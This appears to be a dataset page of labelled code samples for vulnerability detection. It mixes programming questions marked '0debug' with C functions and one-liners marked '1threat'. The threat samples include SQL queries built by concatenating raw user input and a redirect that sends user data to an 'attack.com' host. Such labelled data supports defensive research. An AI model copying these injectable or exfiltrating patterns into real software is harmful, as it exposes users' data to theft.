problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
How to fix the calculation? : So the following is the code that I am working on. Everything works the way that I want it to except for the function "tipConvert(tip)". I want it to change a number, such as 15, into .15 which would be decimal representation of a percentage.
#include <stdio.h>
float tipConvert(int ... | 0debug |
PYTHON | FIND METHOD : def count_substring(string, sub_string):
count = 0
for i in range(0 , len(string)):
if ( string[i: ].find(sub_string)) == True:
count = count +1
return count
STRING = 'ininini'
SUB_STRING = 'ini'
CORRECT OUTPUT : 3
MY OUTPUT : 2
it i... | 0debug |
Whats wrong with my python program : <h1>tip and tax calculator</h1>
<pre><code>bill = price + tax + tip
price = raw_input("What is the price of the meal")
tax = price * .06
tip = price * 0.20
</code></pre>
<p>what is wrong with my code
I have tried everything
please answer and get back to me</p>
| 0debug |
while looping in c languge iteration : ***I don't know where is my mistake, please I need your help. When I enter a wrong data in my username and password and it will ask if YES or NO to try again. If I type Y as a YES I can't type in username anymore. WHY!?***
#include <stdio.h>
#include <stdlib.h>
#include <... | 0debug |
static BusState *qbus_find(const char *path)
{
DeviceState *dev;
BusState *bus;
char elem[128], msg[256];
int pos, len;
if (path[0] == '/') {
bus = main_system_bus;
pos = 0;
} else {
if (sscanf(path, "%127[^/]%n", elem, &len) != 1) {
qemu_er... | 1threat |
static int fchmodat_nofollow(int dirfd, const char *name, mode_t mode)
{
int fd, ret;
fd = openat_file(dirfd, name, O_RDONLY, 0);
if (fd == -1) {
if (errno == EACCES) {
fd = openat_file(dirfd, name, O_WRONLY, 0);
}
if (fd == -1 && e... | 1threat |
Android @Intdef for flags how to use it : <p>I am not clear how to use @Intdef when making it a flag like this:</p>
<pre><code>@IntDef(
flag = true
value = {NAVIGATION_MODE_STANDARD, NAVIGATION_MODE_LIST, NAVIGATION_MODE_TABS})
</code></pre>
<p>this example is straight from the <a href="http://developer.android.c... | 0debug |
ggsave(): Error in UseMethod("grid.draw") : no applicable method for 'grid.draw' applied to an object of class "character" : <p>I am trying to save a plot with <code>ggsave()</code>. I enter the following:</p>
<pre><code>library(ggplot2)
Test = data.frame("X" = seq(1, 10, 1), "Y" = 2*seq(1, 10, 1))
P = ggplot(
... | 0debug |
vorbis_header (AVFormatContext * s, int idx)
{
ogg_t *ogg = s->priv_data;
ogg_stream_t *os = ogg->streams + idx;
AVStream *st = s->streams[idx];
oggvorbis_private_t *priv;
if (os->seq > 2)
return 0;
if (os->seq == 0) {
os->private = av_mallocz(sizeof(oggvorbis_privat... | 1threat |
static int lavfi_read_packet(AVFormatContext *avctx, AVPacket *pkt)
{
LavfiContext *lavfi = avctx->priv_data;
double min_pts = DBL_MAX;
int stream_idx, min_pts_sink_idx = 0;
AVFilterBufferRef *ref;
AVPicture pict;
int ret, i;
int size = 0;
for (i = 0; i < avctx->nb_str... | 1threat |
problems with if in a function [python] : I am doing a simple program just to the program say if a number is even or not and to when the raw_input isn't a number, the program will complain about it:
def f():
t = raw_input('Enter a number and we will send an inormation: ')
if t != type(int):
pri... | 0debug |
Interactive android apps : <p>I am new to Android App Development. I am trying to build an interactive app where there are two screens. On the first screen there will be a button. When the button is touched, then another screen will appear. I have already made the first screen. But how do I link the second screen to th... | 0debug |
How to turn on User Location - Blue Dot : <p>I'm playing with this example - <a href="https://www.raywenderlich.com/425-mapkit-tutorial-overlay-views" rel="nofollow noreferrer">https://www.raywenderlich.com/425-mapkit-tutorial-overlay-views</a></p>
<p>But how do I turn on User Location? (Blue dot)</p>
<p>Thanks</p>
| 0debug |
How can I check if a sequence of numbers is a fibonnaci sequence and obtain the next value In R? : <p>How can we create a function to do this? So given these numbers, how can we check whether they are in fact a fibonacci sequence and then predict the next value in the sequence?</p>
<p>1 1 2 3 5<br>
1 2 ... | 0debug |
How to insert method in object in javscript and call it? : I've been looking for how to properly format a method in an object in javscript and how to execute it I keep getting errors and dont Know how to call a method console keeps giving me errors so I just wanted to ask if anyone knows how to properly place a method ... | 0debug |
static size_t qemu_rdma_save_page(QEMUFile *f, void *opaque,
ram_addr_t block_offset, ram_addr_t offset,
size_t size, int *bytes_sent)
{
QEMUFileRDMA *rfile = opaque;
RDMAContext *rdma = rfile->rdma;
int ret;
CHECK_ERROR_STATE(... | 1threat |
Can't make thread from a function in another file : <p>I have two files. <strong>sim.c</strong> and <strong>devices.c</strong>.</p>
<p>Here's the <strong>sim.c</strong> </p>
<pre><code>...
#include "devices.h"
int main(int argc, char **argv) {
pthread_t *tid;
tid = (pthread_t *) malloc(sizeof(pthread_t) * 3);
... | 0debug |
static inline float to_float(uint8_t exp, int16_t mantissa)
{
return ((float) (mantissa * scale_factors[exp]));
}
| 1threat |
static void pxb_dev_realize(PCIDevice *dev, Error **errp)
{
if (pci_bus_is_express(dev->bus)) {
error_setg(errp, "pxb devices cannot reside on a PCIe bus");
return;
}
pxb_dev_realize_common(dev, false, errp);
}
| 1threat |
Why the "m" after assigning a vale to a decimal? : <p>In the C# language, why would a decimal data type require an "m" at the end of the value? Would simply not just declaring the data type as 'decimal' be enough as is the case with other numeric data types such as 'int' or 'double'? (I'm new to this and am just curiou... | 0debug |
I want to translate english text to hindi using followong API : **Following is my TextActivity**
package com.ds.texar;
import android.app.Activity;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.os.Bundle;
... | 0debug |
SQL query with prp stmts? : i cant print this sql select query, can someone help me ? , i cant see the error, all the link connection are good
<?php
$strsql = "SELECT `time` FROM tssa_banner_central WHERE where co=$codigo'
";
mysqli_fetch_row(... | 0debug |
how to get data to dropdownlist from database in html view : I am creating an web page in which i have a drop_down_list. i have to retrieve data for the drop_down_list from the database. is there any way to get data from the database to the html view my html code.`<select name="drop down"><option value="1">@test.list[i... | 0debug |
Getting the last day of month : <p>I need to write a function which returns which day of the week is the last day of the ongoing month. I can get the last day so far but I don't know how to know which day of the week it is.</p>
| 0debug |
static void spapr_cpu_init(sPAPRMachineState *spapr, PowerPCCPU *cpu,
Error **errp)
{
CPUPPCState *env = &cpu->env;
CPUState *cs = CPU(cpu);
int i;
cpu_ppc_tb_init(env, SPAPR_TIMEBASE_FREQ);
cpu_ppc_set_papr(cpu);
if (cpu->max_compat) {
... | 1threat |
How do I set the starting position of my turtle of my turtle in python to the bottom left of my screen? : Greetings people of Stackoverflow! Currently, I am working on a project that involves turtles. And I have been trying to find a way to make the turtle start at the bottom left of my screen, as opposed to the coordi... | 0debug |
Create the American flag with html tables : How would i make an american flag out of a table?
I need the stars to be asterisks. Is it possible to just use one table? Do the cells need to have something in it I’ve tried but the stripes won’t work without something in them. | 0debug |
static CharDriverState* create_eventfd_chr_device(IVShmemState *s,
EventNotifier *n,
int vector)
{
PCIDevice *pdev = PCI_DEVICE(s);
int eventfd = event_notifier_get_fd(n);
CharDriverState *chr;
... | 1threat |
db.execute('SELECT * FROM products WHERE product_id = ' + product_input) | 1threat |
Specify @Input() parameter for Angular root component/module : <p>I have 3 root components that get bootstrapped by the root <code>AppModule</code>.</p>
<p>How do you go about specifying an <code>@Input()</code> parameter to one of those components?</p>
<p>Neither</p>
<pre><code><app-modal [id]="'hard-coded value... | 0debug |
React Hooks and POST method : <p>I need to understand how can I setup a custom hook in React, for a POST method.</p>
<p>If I need to POST some data after a click, but I can't use the custom hook in an event handler, how can I do It?</p>
<p>I made a custom Hook with all the fetch logic and the relative reducers... but... | 0debug |
I want to concole.log the text of the h2 tag whenever users clicks the tag and when clicks another h2 tag it should display the text of that h2 tag : <p>I want to concole.log the text of the h2 tag whenever users clicks the tag and when clicks another h2 tag it should display the text of that h2 tag the class and id ... | 0debug |
SafeValue must use [property]=binding: : <p>I got the following error inside my input:</p>
<pre><code>SafeValue must use [property]=binding: http://www.myurl.com (see http://g.co/ng/security#xss)
</code></pre>
<p>I did in my component: </p>
<pre><code>this.myInputURL = this.sanitizer.bypassSecurityTrustUrl('http://w... | 0debug |
Which is best pdf viewer in android? : <p>Which is best pdf viewer in android? Jio magzine which pdf viewer used?</p>
| 0debug |
How do you call .Distinct() on an Array of objects : <p>So in the controller, I accept a list of objects as follows:</p>
<pre><code> public virtual ActionResult Grid_Read([DataSourceRequest]DataSourceRequest request, IEnumerable<ObjDTO> objects)
{
var DistinctList = objects.Distinct();
... | 0debug |
How to get average, minimum and maximum with fewer database round-trips? : <p>In an ASP.NET Core Razor Pages application, using Entity Framework Core, I'm using the code below to populate a list with average, minimum and maximum values from a database. While this works OK with the relatively small volume of data record... | 0debug |
static void jpeg_prepare_row24(VncState *vs, uint8_t *dst, int x, int y,
int count)
{
VncDisplay *vd = vs->vd;
uint32_t *fbptr;
uint32_t pix;
fbptr = (uint32_t *)(vd->server->data + y * ds_get_linesize(vs->ds) +
x * ds_get_bytes_per_... | 1threat |
C language, How can I Convert Number to String? : <p>if I've a large number stored in 10 bytes of memory, how can I convert this number to string? like How do C %d converts number to string?</p>
<p>I'm not looking for some library or function, I wan't to know how to convert large byte numbers to string, that is what i... | 0debug |
static void z2_init(MachineState *machine)
{
const char *cpu_model = machine->cpu_model;
const char *kernel_filename = machine->kernel_filename;
const char *kernel_cmdline = machine->kernel_cmdline;
const char *initrd_filename = machine->initrd_filename;
MemoryRegion *address_space_mem = get_s... | 1threat |
How do I indicate to a screen reader that a time is hours and minutes, not minutes and seconds? : <p>I've got the following fragment of markup in a webpage:</p>
<pre><code>Time spent: <span id="time_spent">00:02</span>
</code></pre>
<p>JAWS reads this as "Time spent colon zero minutes and two seconds". ... | 0debug |
static void qcow2_close(BlockDriverState *bs)
{
BDRVQcowState *s = bs->opaque;
g_free(s->l1_table);
s->l1_table = NULL;
if (!(bs->open_flags & BDRV_O_INCOMING)) {
qcow2_cache_flush(bs, s->l2_table_cache);
qcow2_cache_flush(bs, s->refcount_block_cache);
qcow2_mar... | 1threat |
def prime_num(num):
if num >=1:
for i in range(2, num//2):
if (num % i) == 0:
return False
else:
return True
else:
return False | 0debug |
R line chart from columns : any ideas how to create a Line chart? I tried but I got some error. my screenshot below there is a chart from Google Data studio and I want to re-create it in R.
I tried to run this code but I got an error:
plot(data[,1], data[,2],'l',col='blue')
where I think data[,1] <-- is t... | 0debug |
How to write a form that catches all errors,c#? : I want to write a form in my Windows Application Solution that catches all the error and instead of showing that ugly error page shows me sth beatifully designed (by myself)?
Thanks for your answer in advance. | 0debug |
Error: Please select Android SDK in Android Studio 2.0 : <p>I am using Android Studio 2.0 Beta2, and i am trying to run old project that uses google maps api v1 (package <em>com.google.android.maps</em>) as *.jar file. To run this old project i need specify compileSdkVersion older than the last one (23). I used </p>
<... | 0debug |
Iam Applying Autolayouts programatically But i received below type of message Can anyone pls help me : Unable to simultaneously satisfy constraints.
Probably at least one of the constraints in the following list is one you don't want.
Try this:
(1) look at each constraint and try to figure out which you don't ... | 0debug |
void audio_init(ISABus *isa_bus, PCIBus *pci_bus)
{
}
| 1threat |
can i use GET method instead of POST method in SpringMVC? : <p>In SpringMVC if suppose I can use POST method instead of the GET method and it works. Then what is the purpose of these methods and how can we differentiate these methods.</p>
| 0debug |
Can I use property name of object as parameter? : <p>I want to make Favorite module in my app. I'm using React-native and Firestore. Here is my code:</p>
<pre><code>addFavorite() {
getPlaceName().doc(this.selectedPlaceName.id).set({
favorite: {
uid : true
}
}, { merge: true }).then((... | 0debug |
Curl is configured to use SSL, but we have not been able to determine which SSL backend it is using : <p>When I perform <code>pip install thumbor</code> I get the following error:</p>
<pre><code>Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/private/var/folders/t9/******... | 0debug |
Best way to remove unknown characters and spaces using C#? : <p>Unknown Characters:</p>
<p>|b9-12-2016,¢Xocoak¡LO2A35(2)(b)¡ÓocORe3ao-i|],¢Xa?u¡±o¡±i?¢X$3,597,669On 9-12-2016, the price adjusted to $3,597,669 dueto the reason allowed under section 35(2)(b) of theOrdinance</p>
<p>Good Result:</p>
<p>$3,597,669On 9-12... | 0debug |
Quadratic Formula without import math : <p>Can somebody help me write a code using python 3 that can solve the quadratic formula without using "import math"? Please !</p>
| 0debug |
How to set $path for node.js? : First of all, I know no node.js or any command line commands. Second of all, I am using Windows XP. So another question that I have is what is the latest version of Windows XP? I know that this is a noob question so please don't dislike for this reason because the I know nothing about wh... | 0debug |
How to backspace or delete? : <p>In Windows 10, when I launch MS PowerShell to ssh through a container in Kitematic at windows, I've noticed that I can't backspace or delete, instead I get ^H for backspace instead of actually delete previous character.</p>
<p>Do I miss something?</p>
| 0debug |
static int mjpeg_decode_app(MJpegDecodeContext *s)
{
int len, id, i;
len = get_bits(&s->gb, 16);
if (len < 6)
return AVERROR_INVALIDDATA;
if (8 * len > get_bits_left(&s->gb))
return AVERROR_INVALIDDATA;
id = get_bits_long(&s->gb, 32);
len -= 6;
if (s->avctx-... | 1threat |
static void gen_dmfc0 (DisasContext *ctx, int reg, int sel)
{
const char *rn = "invalid";
switch (reg) {
case 0:
switch (sel) {
case 0:
gen_op_mfc0_index();
rn = "Index";
break;
case 1:
rn = "MVPControl";
case 2... | 1threat |
best online tutorials for J2EE and J2ME : <p>I am very new to J2EE and J2ME but I am familiar with core java.
Now I have started learning J2EE and J2ME.
I request you all to suggest the best online tutorials both (pdf and videos) for J2EE and J2ME.
Also please guide me How to start learning the MVC Frame works,which sh... | 0debug |
static void add_flagname_to_bitmaps(char *flagname, uint32_t *features,
uint32_t *ext_features,
uint32_t *ext2_features,
uint32_t *ext3_features)
{
int i;
int found = 0;
for ( i = 0 ; i < ... | 1threat |
How to add / between spaces in a date : <p>How can I take a string that returns it in a list with " / " between them, like dates. </p>
<p>for example</p>
<p>Taking 5,11,2013 and the output be 5/11/2013</p>
| 0debug |
int get_physical_address (CPUState *env, mmu_ctx_t *ctx, target_ulong eaddr,
int rw, int access_type)
{
int ret;
#if 0
qemu_log("%s\n", __func__);
#endif
if ((access_type == ACCESS_CODE && msr_ir == 0) ||
(access_type != ACCESS_CODE && msr_dr == 0)) {
... | 1threat |
Python - What's wrong with my code : Python beginner here! I am trying to execute the following:
print("Are you old enough to vote? Please enter your age below:")
input()
age = 18
if age < 18:
print('You must be 18 to vote.')
elif age >= 18:
print ('You are of voting age.')
When I run it, the progra... | 0debug |
static void decode_band_structure(GetBitContext *gbc, int blk, int eac3,
int ecpl, int start_subband, int end_subband,
const uint8_t *default_band_struct,
uint8_t *band_struct, int *num_subbands,
... | 1threat |
How to hide elements from the form editor : <p>so I'm making a chat room, and it has several different scenes. However, for maximum efficiency, I need to have a clean workspace. However, the start here:
<a href="https://i.stack.imgur.com/iopTE.png" rel="nofollow noreferrer">First scene</a>. Is hard to have in the backg... | 0debug |
how to run all (unit and instrumented) tests with one click in Android Studio : <p>I am developing an Android app in Android Studio.
I have unit tests and instrumented tests.</p>
<p>I want to run them all to see if I broke something.</p>
<p>Right now my workflow is:</p>
<ul>
<li>go to Project view
<ul>
<li>navigate... | 0debug |
Apply function on each element in parameter pack : <p>I have the following template function with specialization:</p>
<pre><code>// Pass the argument through ...
template<typename T, typename U=T>
U convert(T&& t) {
return std::forward<T>(t);
}
// ... but convert std::strings
const char* convert... | 0debug |
How can I turn off a liquid valve when a flame goes out? : <p>I'm trying to make my family's life easier and cheaper. I'm heating my barn with a waste oil drip heater. I want to be able to automatically turn off the oil feed valve in case the burner goes out which would cause the barn to fill up with oil and possibly c... | 0debug |
uint32_t ide_ioport_read(void *opaque, uint32_t addr1)
{
IDEBus *bus = opaque;
IDEState *s = idebus_active_if(bus);
uint32_t addr;
int ret, hob;
addr = addr1 & 7;
hob = 0;
switch(addr) {
case 0:
ret = 0xff;
break;
case 1:
if ((!bus->... | 1threat |
I have one folder in that different formats like .py, .json, .spec, .png , I want to convert this folder to .exe format : I have one folder in that different formats like .py, .json, .spec, .png , I want to convert this folder to .exe format.. How to convert plz guide me | 0debug |
Possible bug with Bcrypt implementation on Spring : <p>I'm testing to move our password hash from sha-256 to sha-512 or bcrypt. For that, I've implemented a very simple test, but I've found out that with a specific rawPassword when Bcrypt tries to match it against the same rawPassword + anything else, it fails, returni... | 0debug |
SQL SERVER 2012 : I want to fetch specific values from a string for Ex: String 1 {cm_documentation_.chk_phone_call_physician}=1 & {cm_documentation_.txt_phone_call_code}="99441" & ({cm_documentation_.txt_units_mins}!="" & ({local.units_mins}<5 |{local.units_mins}>10) | {cm_documentation_.txt_units_mins}="")
String ... | 0debug |
void kvm_set_phys_mem(target_phys_addr_t start_addr,
ram_addr_t size,
ram_addr_t phys_offset)
{
KVMState *s = kvm_state;
ram_addr_t flags = phys_offset & ~TARGET_PAGE_MASK;
KVMSlot *mem;
if (start_addr & ~TARGET_PAGE_MASK) {
fprintf(stderr, "... | 1threat |
Multhithread old legacy applications in modern CPUs : <p>I was explaining why volatile keyword is necessary to accessing a shared memory structure by different threads.</p>
<p>My argument is suppose that CPU have two cores and two local caches inside them. Suppose that one thread is running in one core and other threa... | 0debug |
Google Ads solution for PWA/SPA? : <p>I've made a single page app via Angular, and plan to also make it a progressive web app in the next few days. </p>
<p>I recently realized that Google AdSense apparently doesn't like SPAs and my application has been denied twice. My app is a tool that allows users to create, manage... | 0debug |
load Json file in Javascript not same result on Chrome and Firefox : <p>I have a problem and i don't know how solve it.
I would load a json file in Javascript. In firefox it's ok but in chrome, i don't know why but it doesn't work. I have this exception :
jquery-3.1.1.min.js:4 XMLHttpRequest cannot load file://france.... | 0debug |
How to write/read data to a file in Visual Studio 2017 : <p>I'm creating an application in C# Universal Windows and I would like to know how would would I go about writing data to a file so that I can read from it later. I was thinking of making a class <code>System.Serializable</code> and then write objects of that cl... | 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Uses of for row loop in template : <p>I searched in the docs but could not find tag mentioned below . I want to know where can we use it and Please provide link so i can read more about this tag. </p>
<pre><code>{% for row in qs %} {{ row.total_income }} {% endfor %}
</code></pre>
| 0debug |
void start_auth_sasl(VncState *vs)
{
const char *mechlist = NULL;
sasl_security_properties_t secprops;
int err;
char *localAddr, *remoteAddr;
int mechlistlen;
VNC_DEBUG("Initialize SASL auth %d\n", vs->csock);
if (!(localAddr = vnc_socket_local_addr("%s;%s", vs->csock)))
... | 1threat |
How do I add rows based on first string in R : <p>I have a data frame that looks something like this. </p>
<pre><code> NAME NUMBER
1 A 3
2 B 4
3 A 7
4 B 1
</code></pre>
<p>And I want it to look like </p>
<pre><code> NAME NUMBER
1 A 10
2 B 5
</code></pre>
<... | 0debug |
How to return response after async call is finished? : <p>I have some express.js app and I have a "Pay" button in my UI.</p>
<p>When I click on it, I want the server to call the checkout API of Stripe and then return a response only when I get the response from the API call (card can be expired, for example).</p>
<p>... | 0debug |
static void pci_apb_iowriteb (void *opaque, target_phys_addr_t addr,
uint32_t val)
{
cpu_outb(addr & IOPORTS_MASK, val);
}
| 1threat |
method overriding in java with same number of parameter but different return type : class TestOverride{
public int testVlaue(int a,int b){
return a + b;
}
public float testValue(int x,int y){
return x + y;
}
public float test... | 0debug |
int ff_mpv_frame_start(MpegEncContext *s, AVCodecContext *avctx)
{
int i, ret;
Picture *pic;
s->mb_skipped = 0;
if (s->pict_type != AV_PICTURE_TYPE_B && s->last_picture_ptr &&
s->last_picture_ptr != s->next_picture_ptr &&
s->last_picture_ptr->f->buf[0]) {
ff_mpeg_... | 1threat |
int bdrv_all_delete_snapshot(const char *name, BlockDriverState **first_bad_bs,
Error **err)
{
int ret = 0;
BlockDriverState *bs;
BdrvNextIterator *it = NULL;
QEMUSnapshotInfo sn1, *snapshot = &sn1;
while (ret == 0 && (it = bdrv_next(it, &bs))) {
AioCon... | 1threat |
How to delete a record in databse C# : How do I remove a record?
I need to remove a record that I found by using the foreign key. I stored it as a var but now I can't delete it. Any suggestions?
// POST: Account/Delete/5
[HttpPost]
[ValidateAntiForgeryToken]
pu... | 0debug |
AG Grid tooltip takes long time to render : <p>I was following <a href="https://www.ag-grid.com/javascript-grid-tooltip-component/" rel="noreferrer">this example</a> and found out that the table takes quite some time to render the tooltip. It doesn't seem to have any delay whatsoever, and I have tried both defaultBrows... | 0debug |
Why does the `operator<<` not work on member pointing to derived type? : <p>I have a class <code>Base</code> with a member pointing to a derived type <code>Derv</code>:</p>
<pre><code>class Derv;
class Base
{
protected:
std::vector<std::shared_ptr<Derv>> opnds;
...
}
</code></pre>
<p>The derived ... | 0debug |
static void final(const short *i1, const short *i2,
void *out, int *statbuf, int len)
{
int x, i;
unsigned short int work[50];
short *ptr = work;
memcpy(work, statbuf,20);
memcpy(work + 10, i2, len * 2);
for (i=0; i<len; i++) {
int sum = 0;
for(x... | 1threat |
void virtio_config_writew(VirtIODevice *vdev, uint32_t addr, uint32_t data)
{
VirtioDeviceClass *k = VIRTIO_DEVICE_GET_CLASS(vdev);
uint16_t val = data;
if (addr > (vdev->config_len - sizeof(val)))
return;
stw_p(vdev->config + addr, val);
if (k->set_config) {
k->set_con... | 1threat |
static bool ohci_eof_timer_needed(void *opaque)
{
OHCIState *ohci = opaque;
return ohci->eof_timer != NULL;
}
| 1threat |
static void adb_mouse_initfn(Object *obj)
{
ADBDevice *d = ADB_DEVICE(obj);
d->devaddr = ADB_DEVID_MOUSE;
}
| 1threat |
int av_opt_set(void *obj, const char *name, const char *val, int search_flags)
{
int ret = 0;
void *dst, *target_obj;
const AVOption *o = av_opt_find2(obj, name, NULL, 0, search_flags, &target_obj);
if (!o || !target_obj)
return AVERROR_OPTION_NOT_FOUND;
if (!val && (o->type != AV_OPT... | 1threat |
Excel help --- wants to get rid of zero value cells : <p><a href="https://i.stack.imgur.com/TP3i5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TP3i5.png" alt="first two columns are automated data d and e columns is my requirement"></a></p>
<p>Hi i need help with this i want to get rid of all zero... | 0debug |
How to get enum from raw value in Swift? : <p>I'm trying to get enum type from raw value:</p>
<pre><code>enum TestEnum: String {
case Name
case Gender
case Birth
var rawValue: String {
switch self {
case .Name: return "Name"
case .Gender: return "Gender"
case .Birth: re... | 0debug |
def find_remainder(arr, lens, n):
mul = 1
for i in range(lens):
mul = (mul * (arr[i] % n)) % n
return mul % n | 0debug |
connection.query('SELECT * FROM users WHERE username = ' + input_string) | 1threat |
What is the purpose of the [i] in the for loop : <p>I have some line of code that I don't fully understand. I am looking through objects in an api and was wondering what is the purpose of the [i] in d2.follows[i].user.display_name if the code is:</p>
<pre><code>$.getJSON(followerURL, function(d2){
for(var i=0; i<... | 0debug |
grlib_gptimer_writel(void *opaque, target_phys_addr_t addr, uint32_t value)
{
GPTimerUnit *unit = opaque;
target_phys_addr_t timer_addr;
int id;
addr &= 0xff;
switch (addr) {
case SCALER_OFFSET:
value &= 0xFFFF;
unit->scaler = value;
... | 1threat |
static int protocol_client_vencrypt_init(VncState *vs, uint8_t *data, size_t len)
{
if (data[0] != 0 ||
data[1] != 2) {
VNC_DEBUG("Unsupported VeNCrypt protocol %d.%d\n", (int)data[0], (int)data[1]);
vnc_write_u8(vs, 1);
vnc_flush(vs);
vnc_client_error(vs);
} els... | 1threat |
build_qp_table(PPS *pps, int index)
{
int i;
for(i = 0; i < 255; i++)
pps->chroma_qp_table[i & 0xff] = chroma_qp[av_clip(i + index, 0, 51)];
pps->chroma_qp_index_offset = index;
}
| 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.